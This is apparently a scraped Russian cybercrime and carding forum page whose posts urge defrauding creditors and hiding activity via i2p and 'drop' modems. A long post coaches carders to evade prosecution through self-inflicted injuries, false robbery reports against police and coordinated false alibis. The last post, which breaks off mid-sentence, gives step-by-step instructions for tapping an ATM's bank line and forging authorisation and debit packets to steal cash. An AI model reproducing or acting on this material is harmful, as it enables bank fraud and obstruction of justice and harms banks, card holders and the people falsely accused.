1 баллВсем привет!) Я конечно не профи, только начинаю заниматся работай в интернете, прочитал данную тему,и задался вопросом, а зачем кредиторам отдавать деньги? Почему нельзя их просто взять и кинуть? Все равно ведь кошелек левый с аттестатом будет? Или это я думаю что все так просто?
-
1 балл
-
1 баллКстати, с расписками сейчас проще. Собственного говоря, и писать ничего не нужно. Снимаешь момент передачи денег хоть камерой, хоть на мобильный телефон. Естественно, на видео, должно быть устное заявление с обеих сторон.
-
1 баллВсегда найдется желающий для "кидка". Это ведь так заманчиво - подсунуть под видом раритета расхожую подделку. Вариант - подменить экземпляр в экспозиции ( а еще лучше из запасников) музея на поддельный. Сколько об этом писалось и в газетах и журналах, фильмов снято, книг написано.
-
1 балл
-
1 баллОхотники за кардерами Разговор пойдет о том, о чем никогда не стоит забывать кардеру, да и любому преступнику вообще- как себя вести в первые дни после задержания. Весь свой жизненный опыт я к сожалению не смогу выплеснуть на эту страницу, но несколько советов дам. Есть грустная статистика по которой большинство первоходов колятся в ментовке в первый день до самой жопы и сажают себя сами. И все это несмотря на все понты, которые они кидали на свободе.. сразу забываются теплые отношения с подельниками, и былого коллегу уже воспринимают как шанс спастись, свалив все на него. Но о людях которые сдают, отдельный разговор, я хотел дать пару советов как не посадить себя самому. Если коротко, то зашейте себе рот, и отрубите руки, когда вас взяли. кто так поступит, может дальше не читать.... и это шутка только частично..эффект от вашего поведения должен быть именно такой. Главное продержаться первые три дня, но первый день все равно самый главный, так как после него у вас будет передышка ночью (это для большинства....для серьезных людей не будет и этого) и вы получите шанс проанализировать все что случилось и сможете выработать план поведения. но тут тоже есть ньюанс..если вы будете анализировать альтернативы предложенные операми, то вы опять проиграете. делайте скидку на то , что к ночи 80% содержимого вашего мозга будет забито тем, чем захотят опера.и думать вы будете так, как захотят они.... Это от того, что они колят таких как вы целыми днями и на протяжении долгих лет...их учат этому. Так что чтобы попытаться выиграть с ними "игру в бе-бе" нужно отсидеть хотя бы один раз. Один из частых трюков применяемых ими - это ложные альтарнативы .. т.е. Вам говорят - "или все рассказываешь или садишься" .(это слишком грубо конечно, на самом деле предложение будет замаскированное)..это сейчас,когда вы сидите у мониторов и пьете кофе, наверное усмехаетесь..а потом, когда ваш мозг лихорадочно будет искать выход из ситуации, он попадется в эту ловушку. Запомните одно - у милиции прямо противоположные задачи чем у вас, и все что они делают, направленно на то, чтоб вы сели как можно на более долгий срок.. так что каждое ваше необдуманное слово, каждая роспись в бумагах увеличивает этот срок. Думайте об этом. На самом деле вариантов выхода из ситуации не два-три а больше...и про самые безболезненные для вас милиция естественно молчит, или даже доказывает вам их невозможность...так что запомните раз и навсегда : ментам веры нет!. Идем дальше. Вся система "раскрутки и наказания" устроена так , что вашей судьбой занимается несколько "коллективов". Первыми вы познакометесь с операми, их задача всеми законными и незаконными способами получить от вас максимум подписанных вами бумаг, а в идеале добиться вашего полного признания и выдачи всех улик. Другими словами вас готовят к передаче в другую инстанцию - к следователю. Самое же главное - то что вы напишете уже у следователя в первом протоколе, одно неверное слово и вы будете об этом жалеть всю оставшуюся жизнь, так как если человек несколько раз менял показания , то суд его судит по первым.И еще кое-что следователь -> суд обмениваются только бумагами , так что судья, тот кто реально решает вашу судьбу будет выносить вам приговор в основном на основании того, что вы написали на себя в первый день. И на последок пару фраз о тех "людях" с кем вы столкнетесь: - Опера ..( будте готовы что при обыске у вас в ящике "найдут" 1кг героина и будут предлагать признаться в обмен на снятие этого обвинения (ст 228ч4 от 7 до 15) ЗЫ: доказать в суде что героин не ваш вы не сможете, а только увеличите себе срок "клеветой" на милицию. - Эксперты (находят наркотики в моче даже если вместо мочи была вода с унитаза). - Следователь (под расписку заберет все ваши деньги , предлагая купить сигарет и еды, отделается пачкой "Пегаса" и батоном...больше вы эти деньги не увидите (стандартный трюк со всеми зеками...опрошено около сотни заключенных)). - Судьи (реальный случай: "приговор 15 лет!" ...адвокат -"?? Ваша честь, статья до 12-ти !" ...судья (безразлично).. ."аа. ..ну тогда 12!") .. ну вот собственно пока все...на самом деле я тут не написал и 1% от того что желательно знать...но жизнь показывает, что людей учат не книги и статьи а жизненные ситуации..... PSS: если все же попадете в тюрьму, рот опять зашейте, но это уже совсем другая история Ок, раз есть аудитория, то я продолжу. Попробую более развернуто порассуждать о задержании и раскрутке. Начнем с самого начала. Придут за Вами скорее всего утром, не знаю уж почему но видимо к вечеру милиция уже устает бороться с преступностью (как вариант утром придут за вашими друзьями, к обеду они раскрутятся, и только тогда найдут вас). Мое мнение, почему они предпочитают первую половину дня, это потому что до окончания рабочего дня им нужно определиться с вами 1)Вы идете в отказ и вечером уйдете домой 2)Вы пишете о свои похождениях и после этого уже остаетесь в ИВС на законных основаниях. Есть еще третий вариант, он незаконный, но им тоже пользуются: оставить вас на ночь там без оснований. ИВС вас не примет, поэтому ночь проведете или в обезьяннике (кто не знает, это такая клетка в дежурке где чаще всего алкоголики ждут установления своей личности) или в другом служебном помещении. В случае когда делом интересуется Фсб, по таким служебным помещениям можно "тусоваться" неделю. Всякие упоминания об адвокате и телефонном звонке будут вызывать истерический хохот у всех присутствующих. 4) вариант это если милиции сильно повезло и улики против вас настолько сильные что их хватает и без вашего признания на задержание. (к компьютерным преступлениям это не относится тк. экспертиза изъятого компьютера затянется месяца на два...это больше для людей кого поймали с ножом возле трупа) . Людей впервые попавших в такую ситуацию почему-то сильно пугает перспектива остаться там на ночь (опера кстати понимают это и получают еще один козырь в борьбе за чистосердечное признание) Не бойтесь этого! Выбирать нужно меньшее из зол. 1-3 дня в ИВС ничего не значат по сравнению с несколькими годами в зонах Мордовии.(я знал одного старика, который когда услышал что его опять отправляют в Мордовию начал резать вены бритвой). Скажу, почему я постоянно говорю про три дня. Через три дня следователь берет в охапку то что вы на себя написали и едет к помошнику прокурора за постановлением. (другими словами он должен решить где вам ждать суда дома или в Бутырке(где в 32 местной камере живут 130 человек)). Если в охапке у следователя негусто, а самое главное- отcутствует ваше признание хоть в чем-то, то гражданин прокурор посылает следователя на три буквы и вы идете домой. Так что лучше смириться с тем что несколько дней вы проведете в клетке уже в тот момент когда только увидите оперов. Во время допросов готовьтесь увидеть игру "хороший-п*ЦЕНЗУРА**ЦЕНЗУРА**ЦЕНЗУРА* ой" (это когда несколько ментов будет на вас орать (серьезных будут сразу бить) а потом их сменит один с пивом, сигаретами и лицом полным сочувствия)..кстати реальная штука на самом деле....душа рвется все ему выложить. Элементарная психология и действует на всех без исключения. Совет - используйте передышку, выпейте все пиво, покурите, но молчите и готовтесь к продолжению...менты будут еще более злые т.к. зарплата у них маленькая , а деньги потраченные на пиво пропали зря. Если вас задержали не одного, то допрашивать будут в разных кабинетах и чтобы подтолкнуть вас к "чистухе" могут показать отпечатанные на машинке "показания" подельника (печатается в режиме Online в соседнем кабинете свободным опером)..для достоверности там будет информация которой они владеют сами и часть бреда который на самом деле несет ваш подельник. Самое важное во время допросов - не во что не верить, и не о чем важном не говорить. Они знают намного меньше чем пытаются показать....но даже если они знают все , все равно посылайте их на х. (не буквально конечно, лишний раз злить не стоит, а то вам это обойдется в пару сломанных ребер) ..а то был у меня один знакомый, на суде в последнем слове сказал судье: "Дунь мне в х_ , чтоб я по залу полетал."...дали максимальный срок. Так что лучше понапрасну не провоцировать их, но и бояться тоже не надо. Три дня это конечно еще не все, есть еще следствие, суд, но все же "битва за Москву" разворачивается в первые дни, а в течение остальных месяцев люди заминают и утрясают то что они написали в первые три дня. Хочется еще сказать, почему нельзя сдавать людей, даже не потому, что это некрасиво и не потому в местах лишения свободы приклеится определение "Сука" и прожить там вам станет в 10 раз труднее.....а потому что в "групповом" случае увеличивается возможный срок примерно в два раза. Так что имейте ввиду, как только вы открыли рот чтобы сказать "а я был не один а с Васькой и это была его идея!" вы сразу превращаетесь в "группу лиц с предварительным сговором".....а это уже скажем не с 1 до 3х а с 3х до 6ти.../ ну вот пока и все что хотел сказать...если вам это покажется достойным прочтения, то могу еще осветить выбор и отношения с адвокатом, первый день в тюрьме, ну и тд. ) PS: совсем забыл про тему укрытия улик. Обычно шифруются совсем не от того чего надо. Часто спорят что лучше PGP или DES, поверьте, расшифровывать никто ничего не будет.....а уж что такое IP следователи и судьи совсем не знают.(IP надо прятать по другой причине - чтобы совсем не видеть ментов)...вы проколетесь на чем-нить совсем простом - забудете на определителе номера телефоны всех своих подельников, на столе у вас будет пачка бумаг с вашими злобными планами, дадите на себя показания сами и тд.. А если чувствуете что отмазаться уже не сможете есть шанс закосить под невменяемого. Вообразите себя эдаким Иисусом Христом в компьютерном обличие(надеюсь за богохульство у меня сию же минуту не отключится свет и не зайдут покемоны из "P" ). Скажите, что вы по ночам вторгаетесь в информационное пространство через монитор и путешествуете вживую по всем закаулкам сети, если же найдеться ожог или царапина или шрам смело показывайте и говорите, что мол вот недавно залез в комп ламера Пети и не смог пробиться к нему через монитор, или же вас укусил комьютерный червяк. Вообще гоните всякую пургу. Так же скажите что при реинкарнации душа Билла Гейтца должна была достаться вам и она досталась но Вы Иисус Христос комьютерный , а старик Билл сатана И вы должны любыми путями выиграть у него комьютерную битву и защитить землю от всеобщей погибели. Или же скажите чтовы Этакий Наполеон Бонопарт и призваны бороться с комьютерными вирусами на благо всех живущих на земле Ваших последователей. В данном случае вы может выиграете и вместо того чтобы общаться с бензопелой "дружба"место сис админа в психушке и будете дальше заниматься своим благородным делом. Вообщето правильно сказал old главное молчать! а это я так написал на самый последний случай. Немного подумал и решил продолжить. Зачем нужны адвокаты (взгляд со скамьи подсудимых). Адвокаты бывают двух типов - "свои" и "ментовские". Первые намного лучше, но они стоят денег, вторые - бесплатные, но они почти не работают или бывают откровенной подставой, а теперь подробнее... На первом допросе следователь попытается вам подсунуть на подпись бумагу, где вы отказываетесь от помощи адвоката, не делайте этого и увидите как сразу кислыми станут лица людей в погонах, ну или как вариант вам начнут рассказывать почему он вам не нужен, все это полная ерунда, если бы адвокатов допускали к следствию с первых минут, то раскрываемость преступлений упала бы в несколько раз.....дела бы просто разваливались не доходя до суда. Первые слова которые вы услышите от адвоката, это ничего больше не говорить, с этого момента адвокат будет расхлебывать все то что вы уже успели наболтать до его прихода . Если адвокат проплачен вами/родителями/друзьями то можно немного расслабиться , теперь начнется всякая бумажная работа и волокита, адвокат будет давать правильные ответы от вашего имени еще до того как вы откроете рот, и уже сильно напортить себе вы не сможете. Но не спешите раскрывать душу даже адвокату, по большому счету друзей у вас в этих стенах нет, многие из адвокатов - бывшие опера и судьи, а если вы Чикотилло и на вас 33 убийства, то такая информация может попасть "куда надо". Вообще адвоката мало интересует как было на самом деле, он работает с тем что есть в вашем деле, поэтому если увидите настойчивые вопросы о тех преступлениях с которыми незнакомо следствие, советую промолчать и в дальнейшем поменять защитника. Дело в том , что часть адвокатов борется за повышение раскрываемости преступлений,лично мне когда-то при требовании адвоката , привели дядьку, который посоветовал все рассказать следователю во всех подробностях, и тогда он постарается добиться у прокурора "подписки о невыезде". Дядьку я послал на х_, и вдальнейшем несколько раз замечал его в том же отделе милиции в разные дни, скорее всего это был простой опер из соседнего кабинета...... Сразу оговорюсь, что всяких провокаций следует ждать толькоот адвоката, которого вам дали бесплатно, если же вы уверены, что адвокат проплачен вами, то в раскрутке он участвовать наверняка не будет, а займется тем чем и должен, будет отрабатывать свои деньги. Вообще отношение к адвокатам у меня двоякое, с одной стороны я уверен что все они - аферисты, которые наживаются на чужом горе, с другой стороны понимаю что без них нельзя.. / Скажу, почему они аферисты, просто адвокаты - это бизнессмены а вы для него кошелек с деньгами, и денег он постарается выжать столько, сколько можно или вообще все что есть. Все известные мне попытки договориться с адвокатом по принципу "утром стулья, вечером деньги" ни к чему не привели. Адвокаты реалисты и понимают что у нас не US, и как либо существенно изменить судебный процесс они не смогут. И если у судьи будет п*ЦЕНЗУРА**ЦЕНЗУРА**ЦЕНЗУРА* ое настроение с утра, то тут даже 5 адвокатов не помогут. Поэтому реально работа идет по принципу : Я делаю что могу, а на суде, как повезет. Но если вам повезло с адвокатом и дело не такое крепкое, то суда может вообще не быть....дело развалиться. Иногда по самому делу работы для адвоката почти нет, кроме того что он запретит вам изливать душу следователю, но т.к. отрабатывать деньгинадо, вам и вашим родственникам он будет врать что был сегодня в суде, прокуратуре, и тд. Этой болезнью страдают почти все защитники, но деваться некуда, без адвоката нельзя. Советую только смотреть, чтоб кроме вранья были и реальные результаты. Вообще же адвокаты в нашей судебной системе живут на "птичьих правах" , так что если вы насмотрелись американских фильмов , где на суде адвокат разносит все обвинение к чертовой матери, а ихний аналог нашего прокурора его чуть ли не боится, забудте про это. У нас все скучнее. Несколько участников процесса что-то по очереди гундосят глядя в бумажку, и абсолютно всем плевать что с вами будет. Выделяется только речь адвоката, он единственный, кому нормально заплатили и свое слово он будет говорить вдохновленно, но кроме вас его слушать никто не будет, судья будет перебирать бумаги, прокурор со скучным лицом будет смотреть в окно, где прыгают воробьи, а больше никого и не будет, ну еще может быть его речь произведет впечатление на ваших всхлипывающих родственников. Вобщем по моему мнению адвокат неободим для четырех вещей: - запретить вам все рассказывать. - разваливать дело пока вы ждете суда. - носить вам в тюрьму сигареты и зажигалки. - после суда, чтобы заниматься написанием всяческих обжалований на снижение срока и пересуд. Кажется ничего не забыл....все это вы сами сделать не сможете, поэтому начинайте откладывать деньги, если работаете командой, собирайте Общак, для подобных расходов. Не сказал еще про одну категорию адвокатов, самую ценную, ту которая может найти подходы к судье и проплатить приговор. Этот вариант самый надежный, но и стоит недешево, так как часть предполагаемой взятки адвокат возьмет себе, а еще могут быть посредники и тд. Кстати не советую заваливать в кабинет к судье с пачкой денег, можете испортить дело, есть более умные способы... PS: опера и те кто служит в силовых подразделениях адвокатов не боятся, а посылают на х_, и иногда бьют. Хех... Ну ладно. Олд думаю не обидится если я дополню. 1. Да действительно-самое главное-молчать. Ваше признание-хоть по УПК на нём одном не может строиться дело, но почву операм для сбора другой доказухи даст очень сильную. 2. Насчёт подписей. Подписываться можно ТОЛЬКО за ст. 51 Конституции РФ о вашем праве не свидетельствовать против себя и своих близких родственников. Как в объяснении, так и в протоколе допроса от дачи объяснений/показаний отказываемся опять таки по этой статье. 3. ОЧЕНЬ ВАЖНО!!! У вс должен быть очень хороший друг, девушка, жена, родители или родственники которым ваша судьба не безразлична. Вот для чего. Как только вас заберут-ваши кореша-подруги-жены-родичи-должны тут же звонить в прокуратуру. или на крайняк 02(именно 02-только там регистрируют каждый звонок в ЖУИ!!). если это ночь и в прокуратуре не снимают трубу-и говорят-что вот -де задержали, за что не знаем, пусть говорят куда повезли если знают. Спросите-нахрена такая паника? А потому что иначе вы не 3 часа просидите, а намного больше, вас просто не сразу в книгу доставленных запишут, и потом ваши слова не помогут, а звонок 02 своё дело сделает, и дежурный на себя не будет брать такой груз и запишет всё как надо. 4 Насчёт того что там ***ят или нет. ***ят. Больно. Но по-другому. Следов чтоб не было. ОЧЕНЬ ДЕЛЬНЫЙ СОВЕТ!!! Итак.Вас доставляют. Или на 3 часа, или на больше (если уж арест), но в любом случае-регистрируют в дежурной части( см. пункт выше). Тут 2 варианта: 1-й-допустим у вас уже есть какие-то побои. В этом случае с дежурки вас доставляют в травмопункт и там побои регистрируют, чтоб потом вы на них всё не свалии( хотя возможно побои вы получили по дороге, но уже ничего не докажете) 2-й-вас доставляют целым-тогда вас сразу регистрируют в книгу задерержанных, что значит что побоев нет. Теперь ОЧЕНЬ СИЛЬНАЯ ФИШКА. Если пункт 3 соблюден и кому-то вы не безразличны, то действует. Вобщем когда поведут на беседу с операми, если чувствуете что будут ***ить, или что расколетесь на чистуху, или ***ят( но как всегда без следов)- осматриваетесь в кабинете, желательно чтоб в этот момент было оперов поменьше, оптимально 1, ищете самую шероховатую поверхность-стена например, или хотя бы угол стола-стула- и с боевым кличем себя уродуете, протеревшись мордой до крови по стене, или разбив себе нос об стол, желательно как нить фонарик сделать. Если побои УЖЕ были при доставлении- то сделать побои там где их не было. Да это непросто, очень непросто, но если у вас духу хватит, и вы нормально сыграете, и ваши родственники уже кружат по отделу и переживают за вас, а так же прокуратура знает благодаря их звонку о вас, то менты чё угодно отдадут чтоб от вас отделаться. Потому что все боятся прокуратуры. Им очень непросто будет доказать, что они вас не ***или. Вобщем-цель- зарегистрировать побои ПОСЛЕ ментов-в этом случае даже если вы что то подпишите-то отмажетесь, сказав что подписывали под давлением. Представьте- вас с разбитой рожей ведут обратно в дежурку- ЛЮБОЙ в ментовке-начальник, дежурный, простой сержантик-сразу операм будут говорить о хуёвых последствиях, и им будет проще висяк повесть, чем связываться с таким геморроем как вы. Вобщем мож я п*ЦЕНЗУРА**ЦЕНЗУРА**ЦЕНЗУРА* о объяснил, но старался-я пока более сильных ходов не знаю. 5. Насчёт адокатов тут писали. Вобщем мы имеем новый УПК и с этим УПК имеем ментов. Имеете право с самого начала адвоката таскать. Он сразу должен прибежать, родственники должны притащить. На этом этапе адвокат многое может сделать, так как по закону опера толком работать не умеют. Грамотный адвокат вас сразу отвоюет, им дали теперь на это право. 6. Тут верно заметили, что сложно доказать что за компом именно вы сидели. Да. Нереально. Даже если на винте хоть вся история ваших махинаций. Говорите что у вас дома притон, что у вас двери чуть ли не открыты. Перечислите хотя бы 3-х подготовленных корешей, имеющих представление о компах, которые якобы имеют ключи от вашей хаты. Смысл-за компом могли сидеть не только вы, все сомнения-в пользу обвиняемого. Только тут действительно друзей хороших иметь, чтоб не подвели. Смысл-они подтверждают что у вас дома тусят и с вами, и без вас, и за компом сидят, но все-и ты и они- в отказе от махинаций. Тока друзей надо не просто устно назвать, а написать в протоколе. Примерный текст всех ваших показаний-" я ничего не совершал, ничего о компьютерных преступлениях не знаю, к компу имею доступ не только я, но и этот, этот, этот. от дальнейших показаний отказываюсь на осн. ст.51" и всё. Пусть попробуют что-нить предъявят, отпечатки уже не помогут. Хоть все сделки на ваше имя и почтовый адрес. *** их знает ваших друзей, мож кто прикололся, подгон денег решил сделать анонимно? Не забывайте-вы свою невиновность доказывать не должны, и друзья не должны, если будут спрашивать про алиби-что тогда вы делали в это-то время-все отвечают-не помню, никаких других отмаз.Только НЕ ПОМНЮ! Вобщем пока что всё, больше в голове ничего не всплывает Удачи. P.S. Если бы кто нибудь так своими знаниями в кардинге поделился, как я ментовскими лазейками. P.S.S. Лучше даже не спрашивайте, откуда я это знаю Ах да, после того как с побоями вас выпустят из ментовки-сразу же в прокуратуру с заявлением о беспределе ментов- от***или в отделе, деньги отобрали( много денег), угрожали убить если расскажу типа. Сразу в КУП зарегистрируют мтериал по грабежу . Ну дальше конечно развалят, мож тока нанесение телесных повреждений оставят, но это долго, и от вас точно отстанут. И ещё тут кто-то постил про то, что наркоту подбросят и посадят. Вобщем-то чушь. УК у нас дырявый для этого. Раз и навсегда запомните- на дороге гаишник ли, в метро сержантик, в кабинете опер- спрашивают-есть ли у вас наркота или оружие-не надо улыбаться и говорить что конечно же нет- говорите что есть и то, и другое. Предложат достать-покопайтесь в карманах и скажите что чё-то найти не можете-пусть помогут.Найдут-ну и хер. ДОБРОВОЛЬНАЯ СДАЧА НАРКОТЫ И ОРУЖИЯ УГОЛОВНО НЕ НАКАЗУЕМА. Главное чтоб при понятых обыскивали. Бывает что понятых и нет. но они вписаны. Адвокат добьётся их присутствия на суде, и если адвокат дельный, то на суде он докажет. что их не было. Если понятые свои-хуже, но всё равно не сдавайтесь-возможно они сотрудники милиции, тогда дело развалят. Вобщем подкинуть тоже надо уметь. В большинстве случаев то что делают опера, разваливают дознаватели и следаки. И адвокаты хорошие(бывшие менты-лучшие в этом бизнесе) Только ждите с добровольной сдачей наркоты до того момента, как найдут понятых-если вам подкинут наркоты, то опера рассчитывают, что вы при вопросе "оружие-наркотики имеете?" ответите нет. и понятых тащут нормальных. Вопрос этот задаётся при понятых-тут и отвечайте смело-что есть полкило наркоты ассорти, и ещё какой-то огнестрел. Интересные выражения лиц будут у ментов. Вобщем это способ. От мусоров-*ЦЕНЗУРА**ЦЕНЗУРА**ЦЕНЗУРА*о в.Но не 100 % как вы поняли. Я ещё мыслями пошевелю как быть если менты всё сделали грамотно и вопрос вам не задавали, но в протоколе обыска всё как надо(то бишь понятые подтвердили. что вы не сдали добровольно) Надумаю-скину. Ах да, после того как с побоями вас выпустят из ментовки-сразу же в прокуратуру с заявлением о беспределе ментов- от***или в отделе, деньги отобрали( много денег), угрожали убить если расскажу типа. Сразу в КУП зарегистрируют мтериал по грабежу . Ну дальше конечно развалят, мож тока нанесение телесных повреждений оставят, но это долго, и от вас точно отстанут. Пока единственая идея-идти в отказ, протокол не подписывать, пакеты с наркотой В РУКИ НЕ БРАТЬ!!! хм.. если в куртке нашли, напишите что куртку нашли. по карманам не лазали. пусть докажут что не так. по идее, по закону, без вашего признания при таком раскладе одного протокола обыска маловато. вина не доказана.
-
1 балл
-
1 баллПока правоохранительные органы совместно с юристами ломают головы над тем, как законодательно наладить эффективный контроль за привычным интернетом, киберпреступники всех мастей создают свои новые виртуальные сети. Параллельный интернет — это уже реальность. Invisible Internet Project — i2p, проект «Невидимый интернет», скрытосеть — открытое программное обеспечение, созданное для организации сверхустойчивой анонимной оверлейной зашифрованной сети. Эдакий подпольный мир, сеть, работающая поверх обычного интернета, сеть над сетью. Особенности * Нельзя отследить действия пользователя. * Не используются IP-адреса. Вместо них используются криптографические ключи, которые не имеют связи с IP-адресами. * Децентрализованность — отсутствие корневых серверов, которым необходимо заранее доверять. * Трафик от одного узла к другому идёт зашифрованным через несколько промежуточных. * Отсутствие цензуры. * Скрытосеть способна работать даже если в сети останется всего два компьютера. Как работает? Работает довольно просто. У вас на компьютере запускается так называемый виртуальный шлюз, программа, работающая в режиме прокси-сервера и перенаправляющая поток траффика в скрытосеть. Анонимность и защищённость обеспечивается тем, что в общий интернет не идут незашифрованные данные, а то, что идёт — очень сложно понять — вы ли инициировали этот трафик, или просто через ваш компьютер проходит транзитный трафик других клиентов. То есть доказать какую-либо причастность конкретного лица к той или иной сетевой деятельности/активности очень тяжело. Это возможно за счёт «локальной петли» — незашифрованный трафик идёт только между локальным прокси и конкретным приложением. Затем он «вливается» в шлюз, шлюз его шифрует, и по миру отправляет уже в защищённом виде. Придя на адрес назначения, сообщение дешифруется на удалённом шлюзе. Что есть? * В скрытосети вы можете заходить на анонимные веб-сайты и поддерживать собственные. * Анонимная электронная почта. * Анонимная передача файлов — здесь работают те же торренты, имеется порт eMule для скрытосети, именуемый iMule и включая веб-обменники, для работы с которыми достаточно только браузера. * Анонимный чат — всем привычные IRC и Jabber. Так же здесь имеется i2p-ориентированный клиент обмена мгновенными сообщениями для неотслеживаемого и безцензурного анонимного общения, который можно считать альтернативой IRC и Jabber-серверам, веб-чатам. * Форумы и блоги, недоступные цензуре. Официальный сайт проекта www.i2p2.de.
-
1 баллЕсли руки прямые и доход от биза несколько лимонов в месяц, то можно создать такую систему, что тебя даже господь бог не найдет
-
1 балл
-
1 баллхаааа, а на кбизе ответили чувачки, всё чётко ))) ололол граждане
-
1 баллну а какие ОС ты посаветуешь кроме Линукс? есть таковые? у нас в Игровых автоматах линукс стоит, все на компах теперь сделано. дак просто посидел в ней покавырялся, что то мне не понравилась ОС эта.. в плане безопасности не знаю. но если она действительна лучше Винды, перейду на нее.
-
1 баллА как же 3г модем на дропа (да хоть на кого) + ноут и такси по городу. Катаешься и делаешь свои дела ) Дальше все сжигаешь...
-
1 баллВнимание! Административная группа не производит рассылки в личные сообщения от имени обычных пользователей! И тем более не предлагает услуги по цене в два раза дешевле
-
1 баллСмоделированная ситуация: 5 утра, звонок в дверь, менты, ордер на обыск, понятые. Я хочу чтобы обыск проводился в присутствии адвоката. Звоню адвокату, он говорит, что сможет подъехать, например в 17.00, по закону должны ли ждать менты адвоката? Есть ли какие то сроки в которые должен приехать адвокат? Спасибо.
-
1 баллБанковские автоматы и кредитные карточки уже давно появились на улицах больших городов и постепенно начинают входить в нашу жизнь. Что есть банкомат с точки зрения хакера? Правильно, источник халявы и быстрого способа заработать немного карманных деньжат. Ведь если украсть десяток-другой долларов, кто будет вас искать? По словам банковских работников, оправданными с финансовой точки зрения будут поиски похитителя, умыкнувшего в свой карман по крайней мере 300 вечнозеленых. Уменьшим эту цифру вдвое для безопасности и примем полученные полтораста баксов в качестве того потолка, заходить за который не стоит даже в том случае, если очень-очень хочется купить новый микропроцессор или материнскую плату, а к ним быстрый модем впридачу. Впрочем, с юридической точки зрения похищение даже одного доллара - кража. Поэтому, прежде чем отправляться к ближайшему банкомату с кусачками и отверткой, запаситесь на всякий случай парой адвокатов и захватите Шварценеггера на тот случай, чтобы немножко попридержать службу безопасности банка, пока вы будете сматывать удочки. Для того чтобы получить деньги, мало найти потерянную карточку и вставить ее в прорезь автомата. Нужно ввести с клавиатуры определенный код, на карточке не написанный и хранящийся у клиента в голове Сама по себе карточка без него бесполезный кусок пластика. К тому же ее бывший владелец, как только обнаружит пропажу, немедленно позвонит в банк, и у карточки будет выставлен знак изъятия. Другими словами, она исчезнет в недрах банкомата и уже больше никогда не попадет к вам в руки. Следовательно, нужно не только найти карточку, но еще и подсмотреть вводимый ее владельцем пароль и снять со счета требуемую сумму еще до того, как тот обнаружит пропажу. Впрочем, если мы уж сумели подсмотреть пароль, то и карточку воровать совершенно необязательно. Достаточно ее считать. Что и сделали в свое время ребята из Эстонии. История шумная и известная почти каждому кардеру. В дорогих ресторанах официант, пока нес карточку клиента, успевал ее считать портативным устройством размером с пачку от сигарет, изготовленным из обычной магнитофонной головки, батарейки, усилителя сигналов и записывающего устройства. Ошибка горячих эстонских парней заключалась в том, что они грабили часто и помногу. Другими словами, в жадности. А вот в другой истории злоумышленникам повезло больше. Как-то раз на малолюдной улице одного небольшого городка появился новый банкомат. Естественно, нашлись такие, что пожелали им воспользоваться. Опускают в него карточку, вводят нужный пароль. Ждут себе ждут, а банкомат им отвечает: извините, мол, нету денег или связи - в общем, выдает неподозрительное объяснение невозможности выдачи денег. В банке долго понять не могли - как совершается кража? Почему-то никому и в голову не могла придти мысль, что этот банкомат-то липовый и установлен злоумышленниками специально для чтения карт и запоминания паролей. Позже его демонтировали, но злоумышленников, кажется, так и не нашли. За полтора года (а именно столько он умудрился простоять) кардеры перекачали на свой счет немалую сумму. Однако же рядовой хакер скорее найдет оброненную кем-то впопыхах тысячедолларовую купюр, чем завалявшийся на свалке банкомат. Может быть, есть способ попроще? Есть, но для этого потребуется умение держать паяльник в руках, чтобы смастерить себе некий хардваринговый девайс, а также разбираться в сетевых протоколах на канальном уровне. Идея проста до безобразия: поскольку банкомат в себе не хранит никакой информации и всегда обращается за ответом в банк, то можно, врезавшись в кабель между ним и банком, перехватить трафик и фальсифицировать его нужным нам образом. Ни один банк не в состоянии гарантировать целостность кабеля на всем его протяжении. Разумеется, для анализа протокола обмена понадобится персональный компьютер, а также программа для снятия дампа и представления его в удобочитаемом виде. Можно, к примеру, воспользоваться компактной и маленькой утилитой pio и навигатором управления bleak_l, заботливо написанным хакером КРМС для взлома НТВ, но вполне подходящим и для этого случая. Единственное, что придется спаять самостоятельно, так это контроллер для подсоединения к банковскому кабелю. В Сети очень много различных схем и энтузиастов, предлагающих за относительно небольшие деньги приобрести уже готовые изделия. Так или иначе, но в дальнейшем будем считать, что такой девайс у нас есть. Приступаем к делу! Ну вот. Обзаводимся ноутом, сниффером, шварцнегером и адвокатом на всякий случай 1. Врезаемся в линию между банкоматом и авторизационным центом (заметим, что врезаться придется в разрыв кабеля, так чтобы вы в дальнейшем могли не только перехватывать, но и блокировать любые проходящие пакеты). Разумеется, что если мы хотя бы на мгновение прервем целостность кабеля, дело закончится плачевно. Поэтому поищите в книжках электронные схемы мгновенной коммутации "на ходу". Аналогичным образом мошенники нейтрализуют сложные системы электронных сигнализаций. Не тех, что в магазинах, а на порядок совершеннее. 2. Наблюдаем за пересылкой пакетов, не предпринимая никаких действий. Только наблюдаем, чтобы понять логику. На самом деле это "только" представляет собой утомительный и кропотливый анализ протоколов и расшифровки всех полей заголовков пакетов с той целью, чтобы в дальнейшем иметь возможность генерации и отправки собственных пакетов, не опасаясь того, что они чем-то будут отличаться от реальных. 3. Теперь манипулируем легальной картой (это значит, что по крайней меру одну карту вы должны будете все же завести) с тем, чтобы понять логику обмена. В частности, найти и опознать передаваемые банкоматом запросы и возвращаемые ему ответы. 4. Сравним теперь это с просроченной картой, чтобы определить реакцию системы в такой ситуации, а также найти и идентифицировать коды ошибок (они нам потом понадобятся). 5. Наконец, тяпнем по маленькой для храбрости и, оставив Шварценеггера на шухере, начнем процесс. Засовываем нашу карту, на счету которой лежат оставшиеся после экспериментов с банкоматом несколько долларов. 6. Наблюдаем, как банкомат шлет запрос, включая номер нашего счета и все остальное. Мы никак не вмешиваемся в этот процесс. 7. Авторизационный центр должен вернуть ответ, в котором содержится много полезной информации. А среди нее - максимально возможная сумма для снятия. Вот тут мы перехватываем этот пакет и взамен него шлем другой Чем он отличается от оригинального, не стоит, наверное, даже говорить - и так всем ясно. Но будьте внимательны! Эта сумма может присутствовать сразу в нескольких полях, кроме того, необходимо скорректировать и поле контрольной суммы, иначе ничего не получится! Это самый сложный момент во взломе. 8. Впрочем, на этом этапе вы еще ничем не рискуете. Если ошибетесь, то просто перехватите обратный ответ банкомата и не пропустите его. Ведь вы еще помните коды ошибок, не так ли? А поэтому пробуйте, пока банкомат не "проглотит" фальсифицированный пакет. 9. Ну что же, теперь требуйте от банкомата столько денег, на сколько у вас хватит совести. В это время банкомат передает банку, сколько денег было снято. Взаправду. Эту информацию надо перехватить и послать ложный пакет, что денег снято всего 1 доллар (или сколько у вас там осталось взаправду на карточке). Будьте очень внимательны. Теперь фальсифицированный пакет передается уже банку, и любое неверное действие будет необратимо зафиксировано системой безопасности, и даже Шварценеггеру скоро покажется жарковато. 10. Ну вот и все. Осталась маленькая проблема - как обеспечить сходимость дебета и кредита. Ведь банкомат 